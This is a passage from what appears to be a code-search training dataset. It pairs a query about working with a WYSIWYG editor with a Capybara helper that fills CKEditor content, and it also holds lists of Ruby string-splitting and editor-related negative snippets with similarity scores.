"def csv_to_array(phrase, delimiter = ',')\n phrase.split(delimiter).collect {|p| p.lstrip.rstrip }\n end",
"def f_semicolon(str)\n # workaround to bug or upgrade ruby to 2.4\n # str.split(';').map(&:flatten).flatten\n str.split(';').map { |s| s.flatten }.flatten\n end",
"def split(str, on)\n str.split(on)\n end",
"def split_path(str)\n return str.map(&:to_s) if str.is_a?(::Array)\n @delimiter_handler.split_path(str.to_s)\n end",
"def my_split(string, divider)\n array = []\n current_element = ''\n\n formatted_string = string.clone\n formatted_string.strip!\n\n formatted_string.each_char do |char|\n if char == divider\n array << current_element\n current_element = ''\n else\n current_element << char\n end\n end\n\n array << current_element\n\n array\nend",
"def split_string(string)\n string.each_line.with_index do |line, index|\n end\nend",
"def string_to_array\r\n @input.chars.map {|e| e.to_i}\r\n end",
"def line_split str\n content = str.split(': ')[1] || ''\n if content.match /\\//\n content.split('/').map(&:strip).reject(&:empty?)\n else\n content\n end\n end",
"def to_array(string)\n word_array=[]\n string.scan(/\\w+/)\nend",
"def readlines( sep_string = $/ )\n lines = Array.new\n while line = gets(sep_string)\n lines << line\n end\n lines\n end",
"def split_by_separator(affi_string, auth_id)\n tokens = []\n if affi_string.include?(\",\") and affi_string.include?(\";\")\n tokens = affi_string.split(\";\")\n tokens.each do |token|\n if token.include?(\",\")\n split_idx = tokens.find_index(token)\n temp_tkns = token.split(\",\")\n tokens = tokens[1..split_idx-1].concat(temp_tkns).concat(tokens[split_idx+1..])\n end\n end\n elsif affi_string.include?(\",\")\n tokens = affi_string.split(\",\")\n elsif affi_string.include?(\";\")\n tokens = affi_string.split(\";\")\n end\n\n if tokens != []\n return create_affi_obj(tokens, auth_id)\n else\n return nil\n end\nend",
"def to_arr(value)\n if value.is_a?(Array)\n value\n else\n # Split by commas, but don't use commas inside double quotes\n # https://stackoverflow.com/questions/21105360/regex-find-comma-not-inside-quotes\n value.to_s.split(/(?!\\B\"[^\"]*),(?![^\"]*\"\\B)/)\n end\n end",
"def convert_string_tags_to_array(_tags)\n (_tags).split(tags_separator).map(&:strip).reject(&:blank?)\n end",
"def separate_values(values_string)\n values = Array.wrap(values_string)\n\n values = values.map do |value|\n value.split(value_separator)\n end.flatten\n\n (values.size > 1) ? values : values_string\n end",
"def parse_comma_seperated_string(s)\n list = s.split(',')\n end",
"def array_from_rows(str)\n str.split(\"\\n\").map { |x| x.split(' ').map { |y| y.to_i } }\n end",
"def split_by_escape_character(string)\n string.scan(INTERESTING_PARTS_REGEX)\n end",
"def split(str)\n str.split(/\\.+(?=[^0-9])|[,\\r\\n]/).reject { |s| s.blank? || s == '.' }.map { |s| s.gsub(/\\s+/, ' ').strip.downcase }\n end",
"def separate_comma(integer) #running this program gets me an array of each integer.to_s. See below for reconsidered approach\n new_array = []\n integer.to_s.split(//).each{|n| new_array << n} \nend",
"def tokenize_string(input_string, delimiter_list) \n\tinput_string.sub(\",\", \"\").sub(\".\", \"\").split(delimiter_list)\nend",
"def split_to_array(number)\n number.to_s.chars.map(&:to_i)\n end",
"def resume_to_array(text)\n result = text\n result.gsub!(\",\",\"\")\n result.gsub!(\"(\",\"\")\n result.gsub!(\")\",\"\")\n result.gsub!(\"[\",\"\")\n result.gsub!(\"]\",\"\")\n result.downcase!\n return result.split\nend",
"def split_string(string, split)\n i = 0\n item = \"\"\n output = []\n while i <= string.length-1\n if string[i] != split\n item += string[i]\n elsif string[i] == split\n output << item\n item = \"\"\n end\n i += 1\n end\n if item != \"\"\n output << item\n item = \"\"\n end\n return output\nend",
"def splitter(input)\n array = input.downcase.split('')\nend",
"def split_value(value)\n arr = value.split(pattern)\n # If the result of split is empty, it was probably an empty string.\n if arr.empty?\n return [value]\n end\n\n arr\n end",
"def split(data, string_to_split)\n word = data.scan(/\"#{string_to_split}\"\\] = \"([\\S\\s]*?)\"/)\n string = word.split('\"]').join('').split('[\"').join('')\n return string\n end",
"def split(data, string_to_split)\n word = data.scan(/\"#{string_to_split}\"\\] = \"([\\S\\s]*?)\"/)\n string = word.split('\"]').join('').split('[\"').join('')\n return string\n end",
"def array_sentences(str)\n sentences = str.split('.')\n sentences.map! do |sent|\n sent.split('?').map! do |sent2|\n sent2.split('!')\n end\n end\n sentences.flatten\nend",
"def split_commands(input)\n input.split(/(?<!\\\\);/).map { |e| e.gsub(\"\\\\;\", \";\") }\n end",
"def split_text( text )\n result =text.split(/[\\n,\\r]/)\n end",
"def make_array\n @phrase_string.downcase.split(WORD_SPLIT).reject(&:empty?)\n end",
"def parse_comma_seperated_string(s)\n s.nil? ? [] : s.split(',')\n end",
"def content_as_array\n begin\n # '[\"a\",\"b\", \"c\"]' -> '\"a\",\"b\",\"c\"'\n no_brackets = content[1...-1]\n\n # '\"a\",\"b\",\"c\"' -> ['\"a\"', '\"b\"', '\"c\"']\n quoted_elements = no_brackets.split(\", \")\n\n # ['\"a\"', '\"b\"', '\"c\"'] -> ['a', 'b', 'c']\n quoted_elements.map { |quoted_elt| quoted_elt[1...-1] }\n rescue\n []\n end\n end",
"def split_by_delimiter\n dn_string.split(delimiter).reject(&:empty?)\n end",
"def subtag2array(str)\n sep = \"\\001\"\n str.gsub(/\\n(\\s{1,#{@tagsize-1}}\\S)/, \"\\n#{sep}\\\\1\").split(sep)\n end",
"def split(data, string_to_split)\n word = data.scan(/\"#{string_to_split}\":\"([\\S\\s]*?)\"/)\n string = word.split('\"]').join('').split('[\"').join('')\n return string\n end",
"def split(parts); end",
"def get_arrays(line)\n pairs = line.chomp.split(',')\n arrys = pairs.map do |range|\n indeces = range.split('-').map(&:to_i)\n (indeces.first..indeces.last).to_a\n end\nend",
"def to_array\n self.word.split(\"\")\n end",
"def splitter(str)\n @madlib = str.split\n end",
"def parse_string string\n string.split(separator).map(&:to_f)\n end",
"def split_path(path_string)\n path_string.split('->').map! { |element| element.strip }\n end",
"def split_path(path_string)\n path_string.split('->').map! { |element| element.strip }\n end",
"def string_to_symbol_array(s)\n words = s.split\n a = []\n words.each do |w|\n symbol = w.downcase.to_sym\n if !is_a_or_an?(symbol)\n a.push(symbol)\n end\n end\n return a\n end",
"def extract(str)\n [str]\n end",
"def tokenize_string(input_string, delimiter_list=\" \")\n input_string.split(delimiter_list)\nend",
"def split(aString, position)\n # split the string\n results = [aString[0, position], aString[position..aString.size]]\nend",
"def destringify_array(str)\n\treturn str.to_s.gsub(\"[\",\"\").gsub(\"]\", \"\").split(\",\");\nend",
"def split\r\n\t\tarr = []\r\n\t\tx = self.to_s\r\n\t\ty = x.split(//)\r\n\t\ty.each do |x|\r\n\t\t\tarr << x.to_i\r\n\t\tend\r\n\t\tarr\r\n\tend",
"def split\r\n\t\tarr = []\r\n\t\tx = self.to_s\r\n\t\ty = x.split(//)\r\n\t\ty.each do |x|\r\n\t\t\tarr << x.to_i\r\n\t\tend\r\n\t\tarr\r\n\tend",
"def split_path(path)\n path.strip.split(/[,;:\\ \\n\\t]/).map{|s| s.strip}\n end",
"def parse_options(option_string)\n option_type_regex = /\\w*:/\n option_value_regex = /\\w*;+/\n option_return_array = []\n \n raw_option_type = option_string.scan(option_type_regex)\n option_type = raw_option_type[0].gsub(':', '')\n \n raw_option_values = option_string.scan(option_value_regex)\n option_values = raw_option_values.each do |value|\n value = value.gsub(';', '') \n end\n \n #// Load return array\n option_return_array << option_type\n option_return_array << option_values\n return option_return_array\n end",
"def string_to_array_method\n @card_array = @card_number_string.chars\n end",
"def parse_line(delim , line)\n temp_array = Array.new #Array to hold data\n index = 0 #Position of array index\n token = \"\" #To hold the string\n grouping = false #Grouping characters flag\n\n #Parse line with delimeter\n line.each_char do |char|\n #Grouping Block \n if char == \"\\\"\" and !grouping\n token += char\n grouping = true\n elsif char == \"\\\"\" and grouping \n token += char\n grouping = false\n elsif char == delim and !grouping \n temp_array.push(clean(token)) \n token = \"\" \n else\n token += char\n end\n end \n \n #Store last token on line\n temp_array.push(clean(token))\n \n return temp_array\nend",
"def str_to_list str\n case\n when str.is_a?(String) then str.split(/[\\s,]+/).uniq.sort\n when str.is_a?(Array) then str.uniq.sort\n else\n raise ::ArgumentError.new(\"str_to_list: #{str}\")\n end\n end",
"def split_strings(strings)\n strings.map { |s| split_string(s) }\n end",
"def split; end",
"def split(the_string, position)\n results = [the_string[0, position], the_string[position, the_string.length()]]\nend",
"def grab_stocks(stock_str)\n stock_str.split(\"\\n\")\n end",
"def restore_split(string, chr)\n result, tmp = [], ''\n\n # Hideous code follows\n string.split(chr).each do | attr |\n if attr.count('\"') == 1 || tmp.count('\"') == 1\n tmp << attr << chr\n next unless tmp.count('\"') == 2\n end\n\n result << attr if tmp.size == 0\n\n if tmp.count('\"') == 2\n result << tmp[0..-2]\n tmp = ''\n end\n end\n result\n end",
"def splitString(str)\n len = str.length\n rightStr = str[0, len/2]\n leftStr = str[len/2, len]\n return [rightStr, leftStr]\nend",
"def my_split(array) \n splitted = []\n array.each do |element|\n element.split(//).each { |each_splitted| splitted << each_splitted }\n end\n splitted\n end",
"def create_arr_strs(csv)\n\tarr_of_strings = csv.read.split(\"\\r\")\n\tarr_of_strings\nend",
"def stringToList(str)\n list = []\n str.each_char do |char|\n list.push(char)\n end\n list\nend",
"def digit_list(int)\n #ex 12345\n arr = []\n int.to_s.split('').map do |x|\n arr << x.to_i\n end\n=begin\nORIGINAL LOGIC\nstring = int.to_s # => [\"12345\"]\narr_of_strings = string.split('') #=> [\"1\", \"2\", \"3\", \"4\", \"5\"]\narr_of_strings.map do |x|\n arr << x.to_i\nend\n=end\n p arr\nend",
"def split_string(filter)\n filter.split('-')\n end",
"def tokenize_string(str)\n (0..(str.length - 2)).map { |num| str[num..num+1] }\n end",
"def board_to_array(board_string)\n return board_string.split(\"\").map! { |value| value.to_i }\n\nend",
"def split_string(s)\n strings = s.split(\"\\n\")\n strings.map do |s|\n s.strip!.split[2]\n end.compact.select { |f| File.exist?(f) }\nend",
"def input_as_array\n array = number.split('')\n\n return array.collect! { |x| x.to_i }\n end",
"def tokens(string)\n tokens = []\n string.split.each do |token|\n case token\n when \"+\"\n tokens << :+\n when \"-\"\n tokens << :-\n when \"*\"\n tokens << :*\n when \"/\"\n tokens << :/\n else\n tokens << token.to_i\n end\n end\n tokens\n end",
"def splits\n []\n end",
"def splitString\n letters = @word.split(//)\n end"
] | [
"0.7977758",
"0.74163264",
"0.74163264",
"0.72099316",
"0.71479136",
"0.70243883",
"0.7021012",
"0.6991178",
"0.6866784",
"0.68232596",
"0.67716885",
"0.67585045",
"0.67146945",
"0.6680817",
"0.6678724",
"0.6668329",
"0.6584351",
"0.65814435",
"0.65251845",
"0.6416366",
"0.6401026",
"0.6401026",
"0.6370304",
"0.63540375",
"0.6331813",
"0.63197213",
"0.62850785",
"0.62784684",
"0.62678117",
"0.6267423",
"0.6255472",
"0.62240875",
"0.61880344",
"0.6113292",
"0.6111152",
"0.60198265",
"0.5980283",
"0.59655285",
"0.5964409",
"0.5947598",
"0.59281725",
"0.5928041",
"0.59145606",
"0.5858245",
"0.5852294",
"0.5852066",
"0.58511",
"0.58420223",
"0.5840373",
"0.5821411",
"0.5815666",
"0.580102",
"0.5796743",
"0.577891",
"0.577891",
"0.5771397",
"0.5765153",
"0.57595336",
"0.5749196",
"0.5729672",
"0.5725997",
"0.5717652",
"0.5692906",
"0.56889755",
"0.5686117",
"0.5666243",
"0.5661542",
"0.5655938",
"0.564672",
"0.56286734",
"0.56286734",
"0.5627512",
"0.56271917",
"0.5618853",
"0.56094736",
"0.56052744",
"0.5604053",
"0.5604053",
"0.5600215",
"0.5585424",
"0.5575287",
"0.55680245",
"0.55603385",
"0.5555698",
"0.55505353",
"0.554764",
"0.55435556",
"0.5533986",
"0.55327374",
"0.5530523",
"0.5528535",
"0.55274546",
"0.5524911",
"0.5522634",
"0.551766",
"0.549235",
"0.5491868",
"0.54779804",
"0.54735607",
"0.54713845",
"0.54397404"
] | 0.0 | -1 |
this is method for work with wysiwyg redactor | def fill_in_ckeditor(locator, opts)
content = opts.fetch(:with).to_json
page.execute_script <<-SCRIPT
CKEDITOR.instances['#{locator}'].setData(#{content});
$('textarea##{locator}').text(#{content});
SCRIPT
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def wysiwyg_editor_shown?(recognition)\n company = recognition.authoritative_company || @company\n recognition.input_format_html? || company.recognition_wysiwyg_editor_enabled?\n end",
"def before_save\n\t\tself.html = RedCloth.new(self.text).to_html\n\tend",
"def preview\n #for debug\n params[:d] = 'www.rubyecommerce.com'\n editor = params[:editor]\n website=menu=layout=theme = resource = nil\n website = Website.find_by_url(params[:d])\n if params[:c]\n menu = Menu.find_by_id(params[:c])\n if params[:r]\n resource = BlogPost.find_by_id(params[:r])\n end \n else\n menu = Menu.find_by_id(website.index_page) \n end\n theme = TemplateTheme.find(menu.find_theme_id(is_preview=true))\n html,css = do_preview(theme, menu, {:blog_post_id=>(resource.nil? ? nil:resource.id),:editor=>editor})\n #insert css to html\n style = %Q!<style type=\"text/css\">#{css}</style>!\n \n #editor_panel require @theme, @editors, @editor ...\n prepare_params_for_editors(theme)\n editor_panel = render_to_string :partial=>'layout_editor_panel'\n html.insert(html.index(\"</head>\"),style)\n html.insert(html.index(\"</body>\"),editor_panel)\n render :text => html\n end",
"def textareas; end",
"def text_area; end",
"def markup_editor_area(name, method, options ={}, html_options ={})\n id = options[:id]\n pl_caption = options.delete(:caption)\n pl_caption ||= \"Preview #{method}\"\n\n preview_dom_id = method_to_preview_dom(name, method, id)\n preview_target = \"#{preview_dom_id}_target\"\n\n editor_opts = {:class => 'markup-editor'}.merge(html_options)\n #links\n markup_link = link_to('Textile Markup reference', \"#{ActionController::Base.asset_host}/textile_reference.html\",\n :popup => ['Textile markup reference',\n 'height=400,width=520,location=0,status=0,menubar=0,resizable=1,scrollbars=1'])\n preview_link = link_to pl_caption,\n {:controller => '/markup', :action => \"preview_content\", :object => name, :control => method}, {:id => \"#{preview_dom_id}_link\", :style => \"display: none;\"}\n\n links = content_tag('div', markup_link + ' | ' + preview_link, {:class => 'markup-area-link'})\n #preview container\n preview_target = content_tag('div', ' ', :id => preview_target, :class => 'markup-preview')\n preview_close_link = content_tag(:div, link_to('Close preview', '#', {:id => \"#{preview_dom_id}_close\", :style => \"display: none;\"}), {:class => 'markup-area-link'})\n preview = content_tag('div', preview_target << preview_close_link, :id => \"#{preview_dom_id}\", :style => 'display: none;')\n #render all\n content_tag('div', text_area(name, method, editor_opts) << links << preview , :id => \"#{name}_#{method}_editor\")\n end",
"def html_markup_textile(text); end",
"def preview_text\n return @preview_text\n end",
"def rich_text_attribute; end",
"def preview\n \n # @lg = PageTag::PageGenerator.previewer( @menu, @theme, {:resource=>(@resource.nil? ? nil:@resource),:controller=>self})\n # html = @lg.generate\n # css,js = @lg.generate_assets \n #insert css to html\n # style = %Q!<style type=\"text/css\">#{css}</style>!\n #editor_panel require @theme, @editors, @editor ...\n # html.insert(html.index(\"</head>\"),style)\n # html.insert(html.index(\"</body>\"),@editor_panel)\n # respond_to do |format|\n # format.html {render :text => html}\n # end\n \n end",
"def preview_text\n return @preview_text\n end",
"def recognition_message_for_edit_page(recognition)\n if wysiwyg_editor_shown?(recognition)\n if recognition.input_format_text?\n # escape manual raw text, format it (for the wysiwyg editor), and then mark as html_unsafe\n simple_format(CGI.escapeHTML(recognition.message)).to_str if recognition.message\n else\n recognition.sanitized_message(html_safe: false)\n end\n else\n # as-is (with implicit escaping)\n recognition.message\n end\n end",
"def html_markup_asciidoc(text); end",
"def html_markup_html(text); end",
"def html\n return if self.text.blank?\n\n html = self.text\n \n # s = StringScanner.new(self.text)\n # html = ''\n # while markup = s.scan_until(/\\[code/) do\n # html += RedCloth.new(markup[0..-6]).to_html\n # s.pos= s.pos-5\n # code = s.scan_until(/\\[\\/code\\]/)\n # if code\n # code.gsub!(/\\[code\\]/, '[code lang=\"ruby\"]')\n # html += '<div class=\"syntax\">' + Syntaxi.new(code).process + '</div>' \n # else\n # break\n # end\n # end\n # html += RedCloth.new(s.rest).to_html\n \n html\n end",
"def html_markup_rdoc(text); end",
"def smart_edit(content_type=0,save_url)\n if content_type == 1\n render \"shared/wysihtml5_js\", {url: save_url}\n else\n render \"shared/autosave_js\", {url: save_url}\n end\n end",
"def markup_context; end",
"def govuk_rich_text_area(attribute_name, data: {}, **kwargs, &block)\n data = data.reverse_merge(\n direct_upload_url: @template.katalyst_content.direct_uploads_url,\n controller: \"content--editor--trix\",\n action: \"trix-initialize->content--editor--trix#trixInitialize\",\n )\n super(attribute_name, data:, **kwargs, &block)\n end",
"def html_markup_text(text); end",
"def update_html\n # need to filter HTML first... remove <script> and chunks and the like...\n self.html = RedCloth.new(strip_tags(self.redcloth.to_s),\n [ :no_span_caps ]).to_html(\n # no link references. messes up lines starting with [[WikiWord]]\n :block_textile_table, :block_textile_lists, :block_textile_prefix,\n :inline_textile_image, :inline_textile_link, :inline_textile_code,\n :inline_textile_span, :glyphs_textile)\n end",
"def fill_in_wysiwyg(locator, text)\n include ActionView::Helpers::JavaScriptHelper\n locator = find_field_by_label(locator)\n text = text.tr(\"'\", \"\\'\").gsub(\"\\n\", '\\\\\\n')\n\n # Fill the editor content\n page.execute_script <<-SCRIPT\n $('##{locator}').data('wysihtml5').editor.setValue('#{text}');\n SCRIPT\nend",
"def body_html\n white_list(RedCloth.new(self.body, [ :hard_breaks, :filter_html ]).to_html(:textile, :smilies)) if self.body\n end",
"def add_content_to_body\n\n f = File.open(File.join(File.dirname(__FILE__), 'WritingExample.txt'))\n s = f.gets\n\n b = @driver\n\n # Switch to frame of editor so that text can be inputed\n b.switch_to.frame \"editor_ifr\"\n b.switch_to.active_element.send_keys(s)\n driver.switch_to.default_content\n\n sleep 3\n\n #click spell check button and done with spell check button\n @driver.find_element(:id, 'spell_check_button').click\n wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds\n wait.until {(@driver.find_element(:id, 'spell_check_button_done')).displayed?}\n @driver.find_element(:id, 'spell_check_button_done').click\n end",
"def init_textuals\n set_content_type\n return if image?\n\n if source_from != 'google_drive'\n\n yomu = Yomu.new (Rails.env.production? ? document.url : document.path)\n\n if !yomu.nil?\n text = yomu.text\n text_utf8 = text.force_encoding(\"UTF-8\")\n self.update_columns(file_content_text: text_utf8)\n yomu = nil\n end\n end\n\n # Prioritize markdown.\n if self.file_content_md\n markdown_to_html_and_text\n elsif self.file_content_html\n clean_html if self.source_from == 'google_drive'\n html_to_markdown\n html_to_plain\n elsif self.file_content_text\n text_to_md\n text_to_html\n elsif self.image?\n # do nothing\n else\n errors.add(\"There is no textual content for work id: #{self.id}\")\n end\n make_diffs\n self.delay(:queue => 'preview_maker', priority: 20).create_preview_png\n end",
"def content_preview\n\t\t# Sanitize Post.content to remove HTML tags\n\t\tcp = Rails::Html::FullSanitizer.new.sanitize(self.content)\n\t\t# Shorten content to set char count\n\t\tcp.truncate(225, separator: ' ')\n\tend",
"def render_editor(element)\n render_element(element, :editor)\n end",
"def render_editor(element)\n render_element(element, :editor)\n end",
"def editor?\n true\n end",
"def getUiComponent; @text_editor.getComponent end",
"def markup_editor_area_tag(name, value = '', options={}, html_options={})\n pl_caption = options.delete(:caption)\n pl_caption ||= \"Preview #{name}\"\n\n preview_dom_id = \"#{name}_preview\"\n preview_target = \"#{name}_preview_target\"\n\n editor_opts = {:class => 'markup-editor'}.merge(html_options)\n #links\n markup_link = link_to('Textile Markup reference', \"#{ActionController::Base.asset_host}/textile_reference.html\",\n :popup => ['Textile markup reference',\n 'height=400,width=520,location=0,status=0,menubar=0,resizable=1,scrollbars=1'])\n preview_link = link_to pl_caption,\n {:controller => '/markup', :action => \"preview_content\", :target => name}, {:id => \"#{name}_preview_link\", :style => \"display: none;\"}\n\n links = content_tag('div', markup_link + ' | ' + preview_link, {:class => 'markup-area-link'})\n #preview cntainer\n preview_close_link = content_tag(:div, link_to_function('Close preview', \" Effect.toggle( $('#{preview_dom_id}'),'blind')\"), {:class => 'markup-area-link'})\n preview_target = content_tag('div', ' ', :id => \"#{preview_dom_id}_target\", :class => 'markup-preview')\n preview = content_tag('div', preview_target << preview_close_link, :id => \"#{preview_dom_id}\", :style => 'display: none;')\n #render all\n content_tag('div', text_area_tag(name, value, editor_opts) << links << preview , :id => \"#{name}_editor\")\n end",
"def insert_text\n self.frame(:id=>\"elm1_ifr\").body(:id=>\"tinymce\").fire_event(\"onclick\")\n end",
"def content\n text\n end",
"def textilize_me\n text = self.blurb || ''\n if text && text.respond_to?(:to_s)\n doc = RedCloth.new( text.to_s )\n doc.to_html\n self.converted_to_html = RedCloth.new(doc).to_html\n end\n end",
"def page_script(context={})\n \n [\"/htmleditor/js/jquery.wysiwyg.js\",\n \"/htmleditor/js/ysd.editor.js\",\n \"/htmleditor/js/controls/wysiwyg.colorpicker.js\",\n \"/htmleditor/js/controls/wysiwyg.cssWrap.js\",\n \"/htmleditor/js/controls/wysiwyg.image.js\",\n \"/htmleditor/js/controls/wysiwyg.link.js\",\n \"/htmleditor/js/controls/wysiwyg.table.js\",\n ] \n \n end",
"def assign_highlighter_options!; end",
"def edit\n string = @blog.body\n string1 = \"class=lazyload data-src=\"\n string2 = \" \"\n stringsrc= string[/#{string1}(.*?)#{string2}/m,1]\n while stringsrc do\n string[/#{string1}(.*?)#{string2}/m,1]\n string_rep = \"#{string1}#{stringsrc}#{string2}\"\n string.sub! \"#{string_rep}\", \"src=\\\"#{stringsrc}\\\"\"\n stringsrc= string[/#{string1}(.*?)#{string2}/m,1]\n end\n @blog.body = string\n end",
"def preview_text=(value)\n @preview_text = value\n end",
"def show_text_node(post_text)\n t(:div, {},\n input(Components::Forms::WysiTextarea, post_text, :content, {focus_on_load: true})\n )\n end",
"def lexEditorText\n text = @ui.bigEditor.toPlainText\n @lexer_widget.lexText(text, true)\n end",
"def highlighter; end",
"def highlighter; end",
"def preview\n end",
"def preview\n end",
"def render_document; end",
"def html_markup_org(text); end",
"def esc_textarea(text)\n\t safe_text = CGI.escapeHTML text #, ENT_QUOTES, get_option( 'blog_charset' )\n\t # Filters a string cleaned and escaped for output in a textarea element.\n apply_filters('esc_textarea', safe_text, text)\n end",
"def myletter\n \n end",
"def display_text word\n raise \"word should be string\" unless word.is_a? String\n w = @form.by_name[\"tv\"]; \n lines = get_data word\n #file = `ri -f bs #{word}`\n #lines = convert_man_to_ansi file\n return if lines.nil? || lines.size == 0\n # ansi can have overflow\n w.add_content(lines, :content_type => :ansi, :title => word)\n\n # Since i am trying without border, so need to put class on top right\n header = @form.by_name[\"header\"]; \n header.text_right(word)\n\n $visited << word unless $visited.index(word)\n #w.add_content(lines, :title => word)\n w.buffer_last\nend",
"def render_essence_editor(content, options = {})\n render_essence(content, :editor, :for_editor => options)\n end",
"def ed\n \tAas::Application.DocumentManager.MdiActiveDocument.Editor\n end",
"def update_content\n @note = Note.find(params[:id], :select => \"article_id\")\n\n respond_to do |format|\n if @note.article.update_attribute(:content, params[:newContent])\n # Technically html :)\n format.text { render :text => RedCloth.new(white_list(@note.article.content),[:filter_styles]).to_html(:textile, :youtube, :note) }\n else\n format.text { render :text => \"<p>Content update error.</p>\" }\n end\n end\n end",
"def content_preview\n self.description.present? ? self.description : self.main_content\n end",
"def post_production\n\t\"The last storyteller is always the editor. Let's get to it!\"\nend",
"def call_editor\n self.class.call_editor(@repo)\n end",
"def preview\n # generate html according to wiki notation type\n result = ContentFormatter.to_html(params[:content], params[:notation_type])\n respond_to do |format|\n format.html {\n # return html text\n render text: result\n }\n end\n end",
"def render\n return ro_standard if @readonly\n set_initial_value\n#\n# @yaml['html'] ||= {}\n# value_send_as = 'p_' + @yaml['name']\n# @yaml['html']['value'] = @parent.params[value_send_as] if @parent.params[value_send_as]\n\n record = record_text_for(@yaml['name'])\n @html << @parent.text_area(record, @yaml['name'], @yaml['html'])\n self\nend",
"def markup_context=(_arg0); end",
"def editor_right!\n Vedeu.bind(:_editor_right_) do |name|\n Vedeu.documents.by_name(name).right\n end\n end",
"def use_tinymce\n @content_for_tinymce = \"\" \n content_for :tinymce do\n javascript_include_tag \"tiny_mce/tiny_mce\"\n end\n @content_for_tinymce_init = \"\" \n content_for :tinymce_init do\n javascript_include_tag \"mce_editor\"\n end\n end",
"def message_editor\n frm.frame(:id, \"description___Frame\").td(:id, \"xEditingArea\").frame(:index=>0)\n end",
"def wrapped_by_paragraph; end",
"def textile content\n require 'RedCloth'\n @textile = RedCloth.new(content).to_html\n end",
"def edit\n @prompt = \"save\"\n %[<textarea name='settings' class='form' style='width: 100%; height: 30%;'>#{self.yaml.value || BASIC}</textarea><textarea name='editor' class='form' style='width: 100%; height: 70%;'>#{self.md.value || INDEX}</textarea>];\n end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def change_form_content \n\tend",
"def initialize\n\t\tsuper \"Rune Editor\"\n\n\t\tself.initGUI\n\t\tself.initProperties\n\t\tself.updateConfigs\n\t\tself.resetOpenFile\n\t\tself.pack\n\t\[email protected] #start out with a blank textpane\n\n\t\tself.updateFooterWCText\n\t\tself.setBackgroundStyle\n\n\t\t# FIXME: Hack to get word count to update all the time\n\t\t# Find a way to do better!\n\t\tThread.new do\n\t\t\twhile true do\n\t\t\t\tself.updateFooterWCText\n\t\t\t\tputs getCurrentFile\n\t\t\t\tputs getCurrentDocument\n\t\t\t\tsleep 2\n\t\t\tend\n\t\tend\n\n\n\tend",
"def add_editor!(name)\n Vedeu::Editor::Document.store(name: name)\n end",
"def preview_text=(value)\n @preview_text = value\n end",
"def html_content\n\t\t\treturn \"\" if content.blank? \n\t\t\tstr = content.gsub(/<(\\s*)(\\w+)(\\s*)>/){ |s| \"<\\#{$1}>\" }\n\t\t\tstr = str.gsub(/<\\/(\\s*)(\\w+)(\\s*)>/){ |s| \"<\\/>\" }\n\t\t\tstr = str.gsub(/\\r\\n/, \"<br/>\") \n\t\t\tstr = str.gsub(/(\\s)/, \" \")\n\t\t\tstr = str.gsub(/\\[bold\\]/, \"<b>\")\n\t\t\tstr = str.gsub(/\\[-bold\\]/, \"</b>\")\n\t\t\tstr = str.gsub(/\\[italic\\]/, \"<i>\")\n\t\t\tstr = str.gsub(/\\[-italic\\]/, \"</i>\")\n\t\t\tstr = str.gsub(/\\[color:(#.{6})\\]/){ |s| \"<span style=\\\"color:#{$1}\\\">\" }\n\t\t\tstr = str.gsub(/\\[-color\\]/, \"</span>\")\n\t\t\tstr = str.gsub(/\\[(\\w+)\\]/) do |s|\n\t\t\t\temotion = EMOTIONS.index($1)\n\t\t\t\temotion.nil? ? \"[#{$1}]\": \"<img src=\\\"/assets/emotions/#{emotion}.gif\\\" />\" \n\t\t\tend\n\t\t\treturn str\n\t\tend",
"def save_web_content\n begin\n body = Mechanize.new.get(self.discussion).body\n url_body = HtmlContent.create(:discussion_id=>self.id,:content=>body)\n rescue => e\n end if self.discussion_type == \"URL\"\n end",
"def type_ck_editor(id, text)\n execute_script(\"CKEDITOR.instances['#{id}'].insertText('#{text}');\")\n end",
"def html_markup_pre(text); end",
"def getEditorMode _args\n \"getEditorMode _args;\" \n end",
"def html?; end",
"def html?; end",
"def html?; end",
"def get_original_text\n original_text.text\n end",
"def kefed_editor\n @project = Yogo::Project.get(params[:id])\n @uid = @project.yogo_model_uid || params[:uid]\n @action = params[:action]\n @kefed_params = \"callbackFunction=editorCallback\"\n if params[:editor_action]\n @kefed_params += \"&action=#{params[:editor_action]}\"\n else\n @kefed_params += \"&action=editModel\"\n end\n @kefed_params += \"&uid=#{@uid.to_s.upcase}\" if @uid\n @kefed_params += \"&zoom=1.0\"\n @no_blueprint = true \n end",
"def show\n @pretext = CGI::escapeHTML(@memo.text)\n .gsub(RE_URL){ %Q[<a href=\"#{$1}\" target=\"_blank\">#{$1}</a>] }\n .gsub(RE_IMG){ %Q[<div><img src=\"#{$1}\" width=\"#{$2}\" /></div>] }\n .html_safe\n end",
"def textile( content )\n return if content.nil? or content.empty?\n #( ::RedCloth::TEXTILE_TAGS << [ 96.chr, '&8216;'] ).each do |pat,ent|\n # content.gsub!( pat, ent.gsub('&','&#') )\n #end\n self << ::RedCloth.new( content ).to_html\n end",
"def content_manipulation\n self.summary = markup_manipulation self.summary if self.summary.present?\n self.content = markup_manipulation self.content if self.content.present?\n end",
"def use_tinymce\n @content_for_tinymce = \"\" \n content_for :tinymce do\n javascript_include_tag \"tiny_mce/tiny_mce\"\n end\n @content_for_tinymce_init = \"\" \n content_for :tinymce_init do\n javascript_include_tag \"mce_editor\"\n end\n end",
"def use_tinymce\n @content_for_tinymce = \"\" \n content_for :tinymce do\n javascript_include_tag \"tiny_mce/tiny_mce\"\n end\n @content_for_tinymce_init = \"\" \n content_for :tinymce_init do\n javascript_include_tag \"mce_editor\"\n end\n end",
"def wym_editor_initialize(*dom_ids)\n editor_ids = (@wym_editor_ids || []) + wym_extract_dom_ids(*dom_ids)\n output = []\n output << stylesheet_link_tag('/wymeditor/wymeditor/skins/default/screen')\n output << javascript_include_tag('/wymeditor/jquery/jquery')\n output << javascript_include_tag('/wymeditor/wymeditor/lang/en.js')\n output << javascript_include_tag('/wymeditor/wymeditor/jquery.wymeditor.js')\n output << javascript_include_tag('/wymeditor/wymeditor/jquery.wymeditor.explorer.js')\n output << javascript_include_tag('/wymeditor/wymeditor/jquery.wymeditor.mozilla.js')\n output << javascript_include_tag('/wymeditor/wymeditor/jquery.wymeditor.opera.js')\n output << javascript_include_tag('/wymeditor/wymeditor/jquery.wymeditor.safari.js')\n output << javascript_include_tag('/javascripts/boot_wym.js')\n output.join(\"\\n\")\n end",
